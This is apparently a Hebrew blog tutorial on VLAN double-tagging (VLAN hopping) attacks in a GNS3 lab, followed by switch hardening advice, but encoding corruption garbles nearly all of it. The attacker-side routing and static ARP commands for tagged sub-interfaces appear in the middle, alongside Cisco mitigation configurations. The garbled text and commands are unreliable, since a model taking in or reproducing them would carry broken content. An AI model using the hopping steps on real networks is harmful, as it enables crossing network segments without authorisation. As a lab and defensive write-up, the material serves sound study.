 ˸˶ˤ˰˟ƛŦŎƻƴŦƛƎ  ˪  ˫˸˶˟˧˥ ˣ˸ˣ˞˷ ˸˷˶ˢ ˯˧˦˶˩ ˸˞ ˣ˞˴ˬ-{²м ˢˤ ˧˪˷ ˢ˶˵ˬ˟ .ŜǘƘл . 

  ˢˡˣ˵˲ˢ ˸ˣ˰˴ˬ˞˟ǾŎƻƴŦƛƎ  ˬˬ ˭˴˥˧˧˪ ˣ˪˩ˣ˸  ˰ˡ˧ˬˢ ˸ˣ˪˧˟˥ ˸˞ ˠ˧˧˸˧˷ ˯˧˦˶˩ ˣ˸ˣ˞ˬ ˧˪˞ˣ˦˶˧ˣ ˵˷

  ˸˥˸ ˯˧˦˶˩ ˣ˸ˣ˞ˬ ˸ˣ˞˴ˣ˧ˢ±[!b  ˣˮ˪˷ ˞ˬˠˣˡˢ ˪˷ ˢ˶˵ˬ˟ ,˫˩˸˶˧˥˟˪-  ˢ˴˶ˮ±[!b м : 

ǾŎƻƴŦƛƎ ŀŘŘ ŜǘƘл м 

  :˫˷˟ ˷ˡ˥ ˧˪˞ˣ˦˶˧ˣ ˸˷˶ ˯˧˦˶˩ ˣˮ˪ ˶ˣ˴˧˸ ˪"ˮˢ ˢˡˣ˵˲ˢŜǘƘлΦм    ˢ˪ˣ˰˲ˢ˷ ˢ˰ˡˣˢ ˣ˪˟˵˸˷ ˟˪ ˣˬ˧˷)

  ˸˴˪ˬˣˬ ˞˪ ˸˞ˤˢπ  ˟˧˯ˢˬ ˵ˣ˧ˡ˟  ,ˢ˸ˣ˞ ˰˴˟˪ ˫˧ˮ˧˧ˮˣ˰ˬ ˣˮ˥ˮ˞˷ ˢ±[!bм   ˩  ˪ˡ˥ˬ ˸˶˧˶˟˩ ˶ˡˠˣˬ-

bŀǘƛǾŜ ±[!b   ˸ˣ˧˰˟˪ ˫ˣ˶ˠ˪ (...˫˧˪˩˸˯ˬ ˭ˣˣ˧˩ ˢˤ˧˞ˬ ˧ˣ˪˸ ?˧ˣ˷˰ ˣ˞) ˪ˣ˪˰ ˶˟ˡˢ ˭˩˪ˣJ 

 ˪"ˮˢ ˸˷˶ˢ ˯˧˦˶˩ ˨˶ˡ ˥˪˷ˮ˷ ˢ˪˧˟˥ ˪˩ ,ˢ˸˰ˬ-  ˫˰ ˠ˧˧ˣ˸˸±[!b L5 м  ˸˧ˮ˷ ˪"ˮˢ ˢ˪ˣ˰˲ˢ ˸˞ ˰˴˟ˮ .

 ˠ˧˧ˣ˸˸ ˢ˪˧˟˥ ˪˩˷ ˸ˮˬ ˪˰ :˫˧˧ˬ˰˲ 

ǾŎƻƴŦƛƎ ŀŘŘ ŜǘƘлΦм мл 

  ˫˷˟ ˷ˡ˥ ˧˪˞ˣ˦˶˧ˣ ˸˷˶ ˯˧˦˶˩ ˣˮ˪ ˶˴ˣˮ ˸˰˩ŜǘƘлΦмΦмл  .˱˧ˮ˯ˢ˪ˣ ˢ˪˧˟˥ ˣ˸˧˞ ˥ˣ˪˷˪ ˢ˯ˮˮ ˣ˞ˣ˟ .

  ˸˪˧˟˥ ˥˪˷ˮ ˣˮ˥ˮ˞ ˣˮ˪˷ ˞ˬˠˣˡ˟L/at    ˪˩ˣˮ ,˶˸ˣ˧ ˟˩˶ˣˬ ˦˰ˬ ˣˢ˷ˬ ˰˴˟˪ ˢ˴˶ˮˣ ˢˡ˧ˬ˟ ˪˟˞ ,ˡ˰˧˪

 ˸˟ˣ˸˩ ˱˧˯ˣˢ˪ ˦ˣ˷˲Lt   :˸˷˶ˢ ˯˧˦˶˩˪ 

LŦŎƻƴŦƛƎ ŜǘƘлΦмΦмл млΦлΦлΦнллκнп 

  ˵ˣ˥ ˶ˣ˴˧˪ ˤ˞ˣǊƻǳǘŜ  ˢ ˸˟ˣ˸˩ ˪ˣˬ ˶˷˵˸˪ ˢ˴˶ˮ˷ ˫˰˲ ˪˩˷ ˨˩˪ ˠ˞ˡ˧˷-Lt   s  ˧˶ˣ˥˞ˬ ˸˞˴ˬˮ˷-±[!b  

 ˳ˣ˲˵˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞ ˣ˧˪˞˷π   :ˣˮˬ˵ˢ ˢ˸˰ ˢˤ˷ ˧˪˞ˣ˦˶˧ˣˢ ˸˷˶ˢ ˯˧˦˶˩ ˨˶ˡ ˶ˣ˟˰˸ ˸˶ˣ˷˵˸ˢ˷ 

ƛǇ ǊƻǳǘŜ ŀŘŘ млΦлΦлΦмлκнп Ǿƛŀ млΦлΦлΦнлл ŘŜǾ ŜǘƘлΦмΦмл 
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  ˸˪˧˟˥ ˥ˣ˪˷˪ ˢ˯ˮˮˣ ˢˡ˧ˬ˟ :ˢ˪˧˟˥ˢ ˸˞ ˥ˣ˪˷˪ ˪˩ˣˮ˷ ˧ˮ˲˪ ˱˯ˣˮ ˡ˥˞ ˶˟ˡ ˡˣ˰ ˵˶ ˣˮ˪ ˶˞˷ˮL/at    ˪˰

 ˸˷˵˟ ˭˩ ˧ˮ˲˪ ˞˧˴ˣ˧ ˸˷˶ˢ ˯˧˦˶˩ ,ˣ˵ˢŀǊǇ  s  ˸˟ˣ˸˩ ˢˬ ˸˰ˡ˪ ˷˵˟ˬ ˞ˣˢ ˢ˟˷-a!/    ˪˷млΦлΦлΦмл  . 

 ˟  ˸ˬ˞˟ ˞˴ˬˮ ˞˪ ˞ˣˢ˷ ˪˪ˠ˟ ˨˞-±[!b  ˮ˰˧ ˞˪ ˫ˠ ˭˩˪ˣ ˢ˪˧˟˥ˢ ˸˞ ˪˟˵˪ ˨˪ˣˢ ˞˪ ˞ˣˢ ,ˣˮ˪˷  ,ˢ˧˪˰ ˢ

ˢ ˸˪˧˟˥˷ ˢˡ˟ˣ˰ˢ ˸˞ ˶ˣ˶ˠ˧˷ ˢˬ-L/at    ˪˰ ˪˟˵˸ˢ˪ ˧ˡ˩ .ˣˮ˪˷ ˸˷˶ˢ ˯˧˦˶˩ ˸˞ ˟ˣˤ˰˸ ˞˪ ˫˪ˣ˰˪

 ˸ˬˣ˷˶ ˶˧ˡˠˢ˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ˪"ˮˢ ˪ˣ˷˩ˬˢ!wt  :˸˷˶ˢ ˯˧˦˶˩ ˪˰ ˸˧˦˦˯ 

ŀǊǇ -ǎ млΦлΦлΦмл -L ŜǘƘлΦмΦмл ŀŀōōŎŎŘŘŜŜŦŦ 

  ˢˤ ˪˰ ˣ˟˷˥˸ ˫˞ ˨˞ ,˦˧'˴˟ ˭˞˩ ˶˟ˣˡˬ˷ ˫˧˩˯ˬ ˧ˮ˞-    ˷˧˷ ˵˧˲˯ˬwƻǳǘŜǊ    ˢ˶˦ˬˢ ˭˧˟˪ ˣˮˮ˧˟ ˨˶ˡ˟

  (ˡˣ˞ˬ ˢ˶˧˟˯ ˸˞ˤˢ ˢ˥ˮˢˢ ˫˧˪ˣˡˠ ˫˧ˮˣˠ˶˞˟ˣ)-  ˢ ˸˟ˣ˸˩ ˢˬ ˣˮ˸ˣ˞ ˭˧˧ˮ˰ˬ ˸ˬ˞˟ ˞˪-a!/    ˢ˶˦ˬˢ ˪˷

 s  ˸˟ˣ˸˩ ˪˰ ˯˯ˣ˟ˬˢ ,˨˶ˡ˟ ˟ˣ˸˧ˮ ˶ˣ˟˰˸ ˢ˪˧˟˥ˢ˷ ˪˪ˠ˟-Lt .ˣˮ˪ ˷˧ ˧˶ˢ ˢ˸ˣ˞ˣ , 

 ,ˣˢˤ ...ˤ˞    ˪˧˰˲ˮ ˣ˞ˣ˟ !˨˶ˡ˪ ˸˞˴˪ ˫˧ˮ˩ˣˬ ˣˮ˥ˮ˞²ƛǊŜǎƘŀǊƪ    ˪˰ ˶˦˪˲ˮˣ)ƛŎƳǇ  ˫˧˶ˣ˟˧˥ˢˬ ˡ˥˞ ˪˩ ˪˰ (

ˢ ˭˧˟)-Yŀƭƛ  ˪-{²м  ˭˧˟ ,{²м  -˪{²н   ˭˧˟ˣ{²н    ˭˧˟˪¢ŀǊƎŜǘ ˸ˣ˪˧˟˥ ˥˪˷ˮˣ ,(L/at . 

ǇƛƴƎ -L ŜǘƘлΦмΦмл млΦлΦлΦмл 

ˢ ˸ˮˣ˩ˬ ˭˧˟ ˶ˣ˟˧˥ˢ ˪˰ ˢ˥˪˷ˮ˷ ˢ˪˧˟˥˟ ˪˩˸˯ˮ ˫˞-Yŀƭƛ    ˭˧˟˪{²м : 
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˪ ˪˩ˣˮˢ˷ ˨˩ ˢˮˣ˷˞˶ˢ ˫˰˲˟ .˫˧˧ˬ˰˲ ˸ˠ˧ˣ˸ˬ ˭˩˞ ˞˧ˢ˷ ˸ˣ˞˶-±[!b L5    ˞ˣˢм  ˢ ˶˷˞˩ ˢ˧ˮ˷ˢ ˫˰˲˟ˣ-

±[!b L5  ˞ˣˢмл . 

  ˸ˣˠ˧ˣ˸ˬ ˭ˢ˷ ˢ˞ˣ˶ ˞ˣˢ ˭ˣ˷˞˶ˢ ˠ˸ˬ˪ ˸ˣ˯ˮ˩ˮ ˸ˣ˪˧˟˥ˢ ˶˷˞˩ ˢˤˢ ˟˴ˬ˟ s  ˫˰ ˨˞-±[!b    ˦˶ˣ˲ˢ ˣ˧˪˰˷

˭˸ˣ˞ ˶˧˟˰ˬ ˞ˣˢ ˭˩˪ˣ ˶ˡˠˣˬ    ˫˧˧ˮ˧˰˟ ˢ˞ˣ˶ ˧˸˧˧ˢ ˞˪ ˫˞ ,˰ˡˣ˧ ˧ˮ˞ ,ˢ˶ˤˣˬ ˸ˣˠˢˮ˸ˢ)-    ˧˸˧˧ˢ ˞˪ ˧ˮ˞ ˫ˠ

 ˭˧ˬ˞ˬJ .( 

ˢ ˸˞ ˭˥˟ˮ ˣ˞ˣ˟-²ƛǊŜǎƘŀǊƪ   ˭˧˟{²м  ˭˧˟˪{²н : 

 

  ˸˪˧˟˥ ˢ˸ˣ˞ ˸˞ ˸ˣ˞˶˪ ˶˷˲˞ ˭˞˩L/at   s  ˶˷˞˩ ,˸˥˞ ˫˰˲ ˵˶ ˸ˠ˧ˣ˸ˬ ˞˧ˢ ˶˷˞˩-±[!b L5    ˞ˣˢмл  .

 ˷  ˶ˬˣ˞˷ ˢˬ-{²м  ˩ ˶ˡˠˣˬˢ ˦˶ˣ˲ˢ ˪˰ ˣ˸ˣ˞ ˥˪˷ˣ ,˭ˣ˷˞˶ˢ ˠ˸ˢ ˸˞ ˰˪˟ ˭˩˞-¢Ǌǳƴƪ    ˸˟˩˷ ˸˞ ˱˪˧˵ˣ

-s±[!b  ˸˧ˮˣ˴˧˥ˢ- ˪ ˢˬ˧˞˸ˢ ˞˧ˢ˷ ˧ˮ˲ˬ-bŀǘƛǾŜ ±[!b   s  ˪˷-¢Ǌǳƴƪ  . 

  ˦˶ˣ˲ˬ ˢ˥˪˷ˮ ˞˪ ˢ˪˧˟˥ˢ˷ ˸˰ˡ˪ ˭˸˧ˮ ˞˪ ˢˤˢ ˟˪˷˟ ˶˟˩!ŎŎŜǎǎ  ˟ ˞˴ˬˮ˷-±[!bмл  ˸˞ˤˢ ˢ˪˧˟˥ˢ ,

  .ˢˤ˩˷ ˦˶ˣ˲ˬ ˥˪˷˸˷ ˢ˪˧˟˥˪ ˵ˣ˧ˡ˟ ˢˢˤ 

 ˬ  ˢ˪˧˟˥˪ ˸ˣ˟ˣ˷˸ˢ ˸˞ ˣ˪˧˲˞ ˫˧˞ˣ˶ˣ ˶˪˧˧ˣ˲˯ ˫˧˪˟˵ˬ ˫ˠ ˣˮ˥ˮ˞-¢ŀǊƎŜǘ  .˰ˠ˶˪ ˫˪˰˸ˮ ˣ˞ˣ˟ ˪˟˞ ! 
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ˢ ˸˞ ˭˥˟ˮ ˣ˞ˣ˟-²ƛǊŜǎƘŀǊƪ   ˭ˣ˶˥˞ˢ-  ˭˧˟{²н  ˭˧˟˪¢ŀǊƎŜǘ : 

 

  ˸ˬ˪˷ˣˬ ˢ˶ˣ˴˟ ˢˡ˰˧˪ ˢ˰˧ˠˢ ˢ˪˧˟˥ˢ˷ ˸ˣ˞˶˪ ˶˷˲˞-    ˫ˣ˷ ˞˪˪±[!b ¢!D s  ˸˟ˣ˸˩ ˫˰ ,-a!/  

  ˵˶ ˞˪ˣ ˢˮˣ˩ˮˢ-    ˪˷ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˟ ˢ˦˪˵ˮ ˫ˠ ˞˧ˢ¢ŀǊƎŜǘ  ˫˰ ˢ˧˪˰ ˣˮ˪ ˢ˟˧ˠˢ ˢ˶ˣ˸˟ ˣˤˣ ,ƛŎƳǇ 

ǊŜǇƭȅ ! 

  ˢˬ˪ ˤ˞ :˞˧ˢ ˷˞˶˪ (˫˩˪ ˸ˣ˪˰˪ ˢ˶ˣˬ˞ ˸ˣ˥˲˪ ˣ˞) ˫˩˪ ˢ˪ˣ˰˷ ˢˮˣ˷˞˶ˢ ˢ˪˞˷ˢ ,ˢˤ ˟˪˷˟˷ ˥ˣ˦˟ ˧ˮ˞

-˟t/!t    ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˟ ˣˮ˥˪˷˷ ˠˮ˧˲˟ ˫˴˰˟ˣ ,˭ˣ˷˞˶ˢ-  ˮ˪˟˧˵ ˞˪  ˢ˷˵˟ˢ˷ ˣˮ˧˞˶ ˧˶ˢ ?ˢ˟ˣ˷˸ ˣ

  ˢˤˬ ˶˸ˣ˧ ,ˣˮ˪ ˢˮ˰ ˭˩˞ ˡ˰˧ˢ˷ˣ ˢˡ˰˧˪ ˢ˰˧ˠˢ-  ˪ ˢ˰˧ˠˢ ˢ˟ˣ˷˸ˢ˷ ˫ˠ ˣˮ˧˞˶-{²н  ˪ ˢ˸ˣ˞ ˶˧˟˰ˢ ˞ˣˢˣ-

{²мˢ ˸ˮˣ˩ˬ˪ ˢ˰˧ˠˢ ˞˪ ˢ˟ˣ˷˸ˢ ˢˬ˪ ˤ˞ !-Yŀƭƛ ? 

 ˬ  ˫ˮˬˣ˞ ˢ˥˪˷ˮ˷ ˢ˷˵˟ˢ :ˢ˦ˣ˷˲ ˧ˡ ˢˤ ˪˷ ˢ˟ˣ˷˸ˢ-±[!bм ˪ ˢ˸ˣ˞ ˳˧˲˵ˢ˪ ˣˮ˥˪˴ˢ ˫˧ˬ˯˵ ˸˶ˤ˰˟ˣ-

±[!bмлˢ ˪˟˞ .˟ ˢ˥˪˷ˮ ˢ˷˵˟˪ ˢ˟ˣ˷˸-±[!bмл    ˢ˶ˤ˥ ˢ˸ˣ˞ ˯˧ˮ˩ˢ˪ ˣˮ˪ ˶ˣˤ˰˧˷ ˫˯ˣ˵ ˫ˣ˷ ˭˧˞ ˭˞˩ˣ

-˪±[!bм  ˠ˸ˬˢ .{²н  ˪ ˢ˟ˣ˷˸ˢ ˸˞ ˥˪ˣ˷-{²м   ˟-±[!bмл    ˸ˡˬ˰˪ ˶ˣˤ˥˪ ˢ˶ˣˬ˞ ˢ˷˵˟ˢ" ˣ˪ ˶ˬˣ˞ˣ

 ˟  ˢ˴˵-±[!bмл  ˢ ˸˟ˣ˸˩ ˫˰-a!/    ˨˞ ,"ˢ˞˟ˢ-  -˟±[!bмл    ˪˰{²м    ˸˟ˣ˸˩ ˪˪˩ ˭˧˞a!/    ˧˩) ˸˞ˤ˩

˟ ˸˞˴ˬˮ ˞˧ˢ-±[!bм  ˣˮ˪ ˢ˧ˢ ˫˞ .ˢ˶ˤ˥˟ ˣˮ˧˪˞ ˢ˰˧ˠˬ ˞˪ ˢ˟ˣ˷˸ˢ ˭˩˪ˣ (...wƻǳǘŜǊ    ˨˶ˡ˟-    ˣ˧ˢ ˫˞ ˣ˞

!/[- ˟  ˢˡˬ˰˪ ˫˧˶˷˲˞ˬˢ ˢ˪˞˩ ˫˧-±[!bмл    ˥˧ˮˮ) ˧˰˟˦ ˭˲ˣ˞˟ ˣˮ˧˪˞ ˸˷ˠ˪-    ˢ˟ˣ˷˸ˢ (˧ˤ˩˶ˬ ˸˶˷

˪ ˣˮ˧˪˞ ˸˶ˤˣ˥ ˢ˸˧˧ˢ-±[!b   .˭ˣ˩ˮˢ  
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  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  нн 
 

 :˸˰ˡ˪ ˟ˣ˷˥˷ ˸ˣˡˣ˵ˮ / ˸ˣ˪˟ˠˬ 

ˢ ˥˦˟˷ ˣˬ˩ :˭˟ˣ˶ ˸˞ ˢˮˬ˞ ,˸ˣ˪˟ˠˬ ˦˰ˬ ˞˪ ˷˧ ˣˤˢ ˢ˲˵˸ˬ˪ ,˟˪ ˫˧˷˪ ˫˸˵˲˯ 

¶   ˸ˣ˧ˢ˪ ˸ˣ˶ˤˣ˥ˢ ˸ˣ˪˧˟˥˪ ˫ˣ˶ˠ˪ ˨˧˞ ˣˮ˪ ˭˧˞ ,ˡ˟˪˟ ˣˤ ˢ˦˧˷˟ ˵˶ ˷ˣˬ˧˷ ˸˶ˤ˰˟ˣ "˧˰˟˦" ˭˲ˣ˞˟

  ˪˰ ˸ˣ˯˯˟˸ˬˢ ˸ˣ˲˧˵˸ ˰˴˟˪ ˪˩ˣˮ ˞˪ ˭˩˪ˣ .ˣˮ˧˪˞ ˰˧ˠˢ˪ ˭ˢ˪ ˶˷˲˞˸˷ ˢ˶ˣ˴˟ ˸ˣˠ˧ˣ˸ˬTCP  ˞ˬˠˣˡ .

 ˸ ˞ ˣ˪˴˧ˮ ˣ˟ ˢ˶˵ˬ˪ ˷ˬˬ ˢ˟˧ˮˠˬ  ˢ˷˪ˣ˥ˢCVE-2017-5645  ˟ ˢ˷˪ˣ˥)-Log4j    ˟˴ˬ˟UDP :( 

ƘǘǘǇǎΥκκƴƻǘǎƻǎŜŎǳǊŜΦŎƻƳκŜȄǇƭƻƛǘƛƴƎ-Ǿƭŀƴ-ŘƻǳōƭŜ-ǘŀƎƎƛƴƎκ 

¶   ˢˮˣ˷˞˶ˢ ˸˧ˠ˸ˢ ˸˞ ˱˪˵˪ ˧˞˶˥˞ ˫˧˶˟ˣ˥ˬ ˣˮ˞ ˣ˧˪˞ ˠ˸ˬˢ˷ ˪˪ˠ˟-    ˸˞ ˰˴˟˪ ˪˩ˣˮ ˞˪  ˢ˲˵˸ˬˢ

 .ˠ˸ˬˢ ˣ˸ˣ˞˪ ˫˧˶˟ˣ˥ˬ ˢ˶˦ˬˢˣ ˣˮ˥ˮ˞ ˫˞ 
 

¶ ˢ ˫˞ ˵˶ ˡˣ˟˰˸ ˢ˲˵˸ˬˢ-Native VLAN  ˢ ˪˰ ˶ˡˠˣˬ˷-Trunk   s ˣ-VLAN    ˫˧˶˟ˣ˥ˬ ˣˮ˥ˮ˞ ˣ˩˶ˡ˷

  ˣˮ˪ˤˬ˪ .˫˧ˢˤπ    ˞˧ˢ ˫ˢ˧ˮ˷ ˪˷ ˪ˡ˥ˬˢ ˸˶˧˶˟м  ˪˩ˣˮ ,˦˶ˣ˲ˢ ˸˞ ˭ˣ˩ˮ ˣ˶˧ˡˠˢ ˞˪ˣ ˢˡ˧ˬ˟ ,˱˯ˣˮ˟ .

 ˸ˣ˪˧˟˥ ˱˧ˮ˯ˢ˪CDP  .˫ˢ˧ˮ˷ ˸˞ ˸˰ˡ˪ ˨˩ˣ 

 

ˢ˲˵˸ˬˢ ˡˠˮ˩ ˸ˣˡˡˣˬ˸ˢ 

 ?ˣˤˢ ˢ˲˵˸ˬˢ ˡˠˮ˩ ˡˡˣˬ˸ˢ˪ ˶˷˲˞ ˨˧˞ ...ˤ˞ 

¶  ˟  ˷ˬ˸˷ˢ˪ ˞˪ ˪ˠ˶ˢ ˫˩ˬ˴˰˪ ˣ˪ˠ˯-VLAN1   s  ˸˞ ˣˮ˷˸ ˡ˧ˬ˸ˣ-Native VLAN    ˫˩˪˷ ˸˷˶ˢ ˪˷

ˢ ˥ˣˣ˦˪ ˳ˣ˥ˬ ˢˣ˟ˠ ˶˲˯ˬ˪-VLAN- .˸˷˶˟ ˷ˣˬ˧˷ ˫˧˷ˣ˰ ˫˸˞ ˫ˢ˟˷ ˫˧ 

¶   ˧˶˷˲˞ ˢˤ ˸ˣ˸˷˶ˢ ˪˩˟ ˞˪π   ˟  ˫˧˶ˡˠˣˬˢ ˫˧˦˶ˣ˲˷ ˣˠ˞ˡ˸ :˶˷˲˞˷ ˢ˪˞˩˟ ˪˟˞-Trunk    ˣ˲˪˵˧ ˞˪

ˢ ˪˷ ˸ˣ˧ˠ˸ˢ ˸˞-Frame- ˟  ˫˧˶˟ˣ˰˷ ˫˧-Native VLAN : 

{²мόŎƻƴŦƛƎ-ƛŦύІǾƭŀƴ Řƻǘмǉ ǘŀƎ ƴŀǘƛǾŜ 

¶  ˫˧˶ˡˠˣˬˢ ˫˧˦˶ˣ˲˟-˩Trunk ˣ˪˞ ˵˶ ˣ˶˧ˡˠ˸ ,VLAN- :ˣ˟ ˶ˣ˟˰˪ ˫˧˪ˣ˩˧ ˫˧ 

{²мόŎƻƴŦƛƎ-ƛŦύІǎǿƛǘŎƘǇƻǊǘ ǘǊǳƴƪ ŀƭƭƻǿŜŘ Ǿƭŀƴ ŀŘŘ мл 
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{ǿƛǘŎƘ {ǇƻƻŦƛƴƎ   

  ˪˷ ˢ˧˴˪ˣˬ˞ˢ ˸ˣ˰˴ˬ˞˟ ˸˞ˤˢ ˢ˲˵˸ˬˢ ˸˞ ˷ˬˬ˪ ˸ˮˬ ˪˰Db{о  ˭˦˵ ˧ˣˮ˧˷ ˸ˣ˷˰˪ ˫˧˴˪˞ˮ ˣˮ˥ˮ˞ ,

˟ .˪ˡˣˬ˟-Db{о  -sCƛǊƳǿŀǊŜ  ˢ ˪˷-{ǿƛǘŎƘ-  ˫ˢ˟˷ ˫˧  ˧˯˧˯˟ ˡˣ˞ˬ ˶'˴˧˲˟ ˫˧˩ˬˣ˸ ˞˪ ˢ˩ ˡ˰ ˣˮ˷ˬ˸˷ˢ

  ˸ˣ˞˧˴ˬ˪ ˫˞ˣ˸ ˢ˧ˢ˧ ˣˮ˪˷ ˪ˡˣˬˢ˷ ˸ˮˬ ˪˰ˣ .(˨˷ˬˢ˟ ˣ˧˪˰ ˦˶˲ˮ) ˫˧˩ˬˣ˸ ˣ˵˯˧˯ ˪˷ ˫˧ˤ˧˲ˢ ˫˧ˠ˸ˬˢ˷

 .˫˲˧˪˥ˢ˪ ˣˮ˧˪˰ 

  ˫˷ ˫˩˪ ˷˧˷ ˫˧ˠ˸ˬˢ ˧ˮ˷ ˫ˣ˵ˬ˟ ,˫˰˲ˢ˷ ˵˶ ,ˢ˩ ˡ˰ ˣ˟ ˣˮ˷ˬ˸˷ˢ˷ ˣˬ˩ ˪ˡˣˬˢ ˣ˸ˣ˞˟ ˵ˣ˧ˡ˟ ˣ˷ˬ˸˷˸

-  ˧˟˧˩˶˟ ˫˸ˣ˞ ˣ˲˧˪˥ˢLh{Ǿ[н /ƛǎŎƻ :˞ˣˢ ˡ˧˶ˣˢ˪ ˫˧ˮ˧˧ˮˣ˰ˬ ˫˸˞˷ ˳˟ˣ˵ˢ ˫˷ . 

Ǿƛƻǎψƭн-ŀŘǾŜƴǘŜǊǇǊƛǎŜƪф-ƳΦǾƳŘƪΦ{{!Φмрн-пΦлΦррΦ9 

 :˫˩˪˷ ˦˵˧ˣ˶˲˪ ˣ˸ˣ˞ ˣˮ˰˦˸ ˨˩ˣ 

ƘǘǘǇǎΥκκŘƻŎǎΦƎƴǎоΦŎƻƳκŘƻŎǎκǳǎƛƴƎ-ƎƴǎоκōŜƎƛƴƴŜǊǎκƛƳǇƻǊǘ-Ǝƴǎо-ŀǇǇƭƛŀƴŎŜκ 

  ˱ˡ˲ˡ˪ ˧˷˲ˣ˥ ˣ˷˧ˠ˶˸) ˣ˧ˢ ˭ˢ˷ ˣˬ˩ ˵ˣ˧ˡ˟ ˢ˴˵ˢ ˸ˣˡˬ˰ ˸˞ ˫˸˶˟˧˥ ˣ˸ˣ˞ ˫˸ˮ˰˦˷ ˧˶˥˞˷ ˟˪ ˣˬ˧˷

  ˠˣ˯ˬ ˫ˢ ˫˧˦˶ˣ˲ˢ ˭˞˩˷ ˟˪ ˣˬ˧˷ ,˱˯ˣˮ˟ .˫ˣ˪˩ ˫˸˯˲˯˲ ˞˪˷ ˞ˡˣˣ˪ ˧ˡ˩ ˢ˶ˣ˥˞DƛƎŀōƛǘ9ǘƘŜǊƴŜǘ  ˭˧˞ ,

 .(˸ˬ˞˟ ˢˮ˷ˬ ˶˟ˡˢ 

 .˪˧˥˸ˢ˪ ˶˷˲˞ .ˢ˪ˣ˰ˬ ?˫˧ˮ˩ˣˬ 

˶ˣˠ ˱˵ˣ˸ˢ ,ˣˤ ˢ˲˵˸ˬ˟  ˞˪˞ "ˢ˪˧ˠ˶" ˢ˴˵ ˸ˡˬ˰ ˞˪ ˞ˣˢ ˧ˤ˧˲ˢ ˦˶ˣ˲ˢ ˪˞ ˶˟ˣ˥ˬ˷ ˧ˬ˷ ˟ˣ˷˥˪ ˠ˸ˬ˪ ˫

˟ ˸˶˟ˣ˥ˬˢ ˱˯ˣˮ ˠ˸ˬ-¢Ǌǳƴƪ  ˟ ˢ˴˵ ˸ˣˡˬ˰ ˶˲˯ˬ ˡˣ˰ ˷˧ ˣ˧˶ˣ˥˞ˬ˷-±[!b-  ,˶˧˟˰ˢ˪ ˷˧˷ ˫˧ˮˣ˷ ˫˧

 ˢ˧ˢ˧˷ ˨˩ ˣ˪˷ ˦˶ˣ˲ˢ ˪˷ ˟˴ˬˢ ˸˞ ˢˮ˷ˬ ˠ˸ˬˢ ,ˢ˶ˣ˵ ˢˤ ˶˷˞˩¢Ǌǳƴƪ    ˭ˣ˥˴˧ˮ ˣˮ˪ ˷˧ (˦˰ˬ˩) ˭˞˩ˬˣJ  . 

˧ ˠ˸ˬˢ˷ ˢˬ˪ ˤ˞ ˸˶ˣ˩ˤ˸ !ˢ˪ˣ˰ˬ ˢ˪˞˷ ?ˠ˸ˬ ˣ˧˪˞ ˶˟ˣ˥ˬ˷ ˟ˣ˷˥π  :ˣˮ˪˷ ˸˷˶ˢ ˸˞˶ˮ ˨˩ 
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  ˣˮˬ˵ˢ˷ ˢˡ˟˰ˬ˟ ˭ˣ˶˥˞ˢ ˟˪˷ˢ ˪˰ ˰ˠ˶ ˪˩˸˯ˮ ˣ˞ˣ˟-  ˬ ˪˟˩ ˣˮ˥˸ˬ ˭ˣ˶˥˞ˢ ˟˪˷˟ :˸˶ˣ˩ˤ˸-9ǘлκл    ˪˩˟

  ˢ˧ˢ˧˷ ˶ˣ˟˧˥ˢ ˸˞ ˣˮ˶ˡˠˢ ˭˩ˬ ˶˥˞˪ˣ ,˫˧ˠ˸ˬˢˬ ˡ˥˞¢Ǌǳƴƪ    ˢˬ˩ˬ ˸ˣ˪˧˟˥˪ ˶˷˲˞˧˷ ˢˤ˩)±[!b-  ˫˧

 ˢ˪˞ .(ˣ˟ ˶ˣ˟˰˪ :˸ˣˡˣ˵˲ˢ ˣ˧ˢ 

{²м#ŎƻƴŦ ǘ 
{²мόŎƻƴŦƛƎύІƛƴǘŜǊŦŀŎŜ Ŝ24ǘƘŜǊƴŜǘ лκл 
{²мόŎƻƴŦƛƎ-ƛŦύІǎǿƛǘŎƘǇƻǊǘ ǘǊǳƴƪ ŜƴŎŀǇǎǳƭŀǘƛƻƴ Řƻǘмǉ 
{²мόŎƻƴŦƛƎ-ƛŦύІǎǿƛǘŎƘǇƻǊǘ ƳƻŘŜ ǘǊǳƴƪ 
{²мόŎƻƴŦƛƎ-ƛŦύІŜȄƛǘ 

{²мόŎƻƴŦƛƎύІŜȄƛǘ 

˩ ˢˤˢ ˶ˣ˟˧˥ˢ ˸˞ ˶˧ˡˠˢ˪ ˫˧˩˧˶˴ ˫˸˧˧ˢ ˸ˬ˞˟ ˞˪˷ ˫˩˪ ˡ˧ˠ˞ ˫˞ ˢˬ ...˪˟˞-¢Ǌǳƴƪ˧ˣ˯˧ˮ ˢ˷˰ˮ ˣ˞ˣ˟ ? 

 ˭˩ ˧ˮ˲˪ ˪˟˞ .ˢˤ ˸˞ ˶˶˟˪ ˧ˡ˩-   ˤ˞ˣ ˸˧ˮˬ˧ ˢ˴˧˥˪) ˫˧˟˧˩˶ˢ ˧ˮ˷ ˭˧˟ ˪˟˩ˢ ˸˞ ˣ˵˥ˬ5ŜƭŜǘŜ :( 

 

  ˭˩ˬ ˶˥˞˪-  s  ˸ˮˣ˩ˬ ˪˷ ˦˶ˣ˲ˢ ˸˞ ˣ˶˧˟˰ˢ-Yŀƭƛ  -˪±[!b мл :˸ˣˡˣ˵˲ˢ ˸˶ˤ˰˟ , 

{²м#ŎƻƴŦ ǘ 
{²м#Ǿƭŀƴ мл 
{²мόŎƻƴŦƛƎ-ǾƭŀƴύІƴƻ ǎƘǳǘ 
{²мόŎƻƴŦƛƎ-ǾƭŀƴύІŜȄƛǘ 
{²мόŎƻƴŦƛƎύІƛƴǘŜǊŦŀŎŜ DƛƎŀōƛǘ9ǘƘŜǊƴŜǘ лκн 
{²мόŎƻƴŦƛƎ-ƛŦύІǎǿƛǘŎƘǇƻǊǘ ƳƻŘŜ ŀŎŎŜǎǎ 
{²мόŎƻƴŦƛƎ-ƛŦύІǎǿƛǘŎƘǇƻǊǘ ŀŎŎŜǎǎ Ǿƭŀƴ мл 
{²мόŎƻƴŦƛƎ-ƛŦύІŜȄƛǘ 

{²мόŎƻƴŦƛƎύІŜȄƛǘ 

